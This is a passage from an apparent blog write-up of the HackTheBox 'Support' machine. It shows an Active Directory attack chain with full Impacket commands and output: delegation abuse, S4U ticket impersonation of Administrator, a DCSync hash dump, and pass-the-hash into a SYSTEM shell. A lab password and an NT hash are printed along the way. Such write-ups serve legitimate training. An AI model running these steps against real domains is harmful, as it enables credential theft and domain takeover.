-delegate-from &#39;daffy$&#39; -delegate-to &#39;DC$&#39; -action &#39;write&#39; &#39;support.htb/support:Ironside47pleasure40Watchful&#39;<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty<br>[*] Delegation rights modified successfully!<br>[*] daffy$ can now impersonate users on DC$ via S4U2Proxy<br>[*] Accounts allowed to act on behalf of other identity:<br>[*]     daffy$       (S-1-5-21-1677581083-3380853377-188903654-6101)</pre><p>The tool requests a Service Ticket (ST) for the cifs service on the Domain Controller, saving it as a .ccache file that allows you to authenticate as <strong>NT AUTHORITY\SYSTEM</strong> via tools like psexec or wmiexec.</p><pre>$ impacket-getST -spn &#39;cifs/dc.support.htb&#39; -impersonate &#39;Administrator&#39; &#39;support.htb/daffy$:Password123!&#39;<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[-] CCache file is not found. Skipping...<br>[*] Getting TGT for user<br>[*] Impersonating Administrator<br>[*] Requesting S4U2self<br>[*] Requesting S4U2Proxy<br>[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache</pre><p>The first command sets an environment variable that tells Kerberos-aware tools (like Impacket or smbclient) exactly where to find the Service Ticket that we just generated. Then we will use klist to verify it.</p><pre>$ export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache<br>$ sudo apt update &amp;&amp; sudo apt install krb5-user libpam-krb5 libpam-ccreds<br>$ klist<br>Ticket cache: FILE:Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache<br>Default principal: Administrator@support.htb<br><br>Valid starting       Expires              Service principal<br>05/13/2026 13:59:26  05/13/2026 23:59:25  cifs/dc.support.htb@SUPPORT.HTB<br>        renew until 05/14/2026 13:59:20</pre><p>We will now use impacket-secretsdump to dump the NT hash of the Administrator user using the DCSync attack against the domain controller.</p><pre>$ impacket-secretsdump -k -no-pass -dc-ip 10.129.39.241 SUPPORT.HTB/Administrator@dc.support.htb -just-dc-user administrator<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<br>[*] Using the DRSUAPI method to get NTDS.DIT secrets<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc0*******************:::<br>[*] Kerberos keys grabbed<br>Administrator:aes256-cts-hmac-sha1-96:f5301f54fad85ba357fb859c94c5c31a6abe61f6db1986c03574bfd6c2e31632<br>Administrator:aes128-cts-hmac-sha1-96:678dcbcbf92bc72fd318ac4aa06ede64<br>Administrator:des-cbc-md5:13a8c8abc12f945e<br>[*] Cleaning up... </pre><p>Now that we have the NT hash of the Administrator user, we can perform PassTheHash attack to log in as Administrator while using yet another impacket script.</p><pre>$ impacket-psexec support.htb/administrator@dc.support.htb -hashes :bb06cbc02b39abeddd1335bc30b19e26<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Requesting shares on dc.support.htb.....<br>[*] Found writable share ADMIN$<br>[*] Uploading file zNdglITQ.exe<br>[*] Opening SVCManager on dc.support.htb.....<br>[*] Creating service iomi on dc.support.htb.....<br>[*] Starting service iomi.....<br>[!] Press help for extra shell commands<br>Microsoft Windows [Version 10.0.20348.859]<br>(c) Microsoft Corporation. All rights reserved.<br><br>C:\Windows\system32&gt; cd /users/administrator/desktop<br><br>C:\Users\Administrator\Desktop&gt; more root.txt<br>251e56915240d******************</pre><p>We have successfully solved Support from HackTheBox.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c56fde1769d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>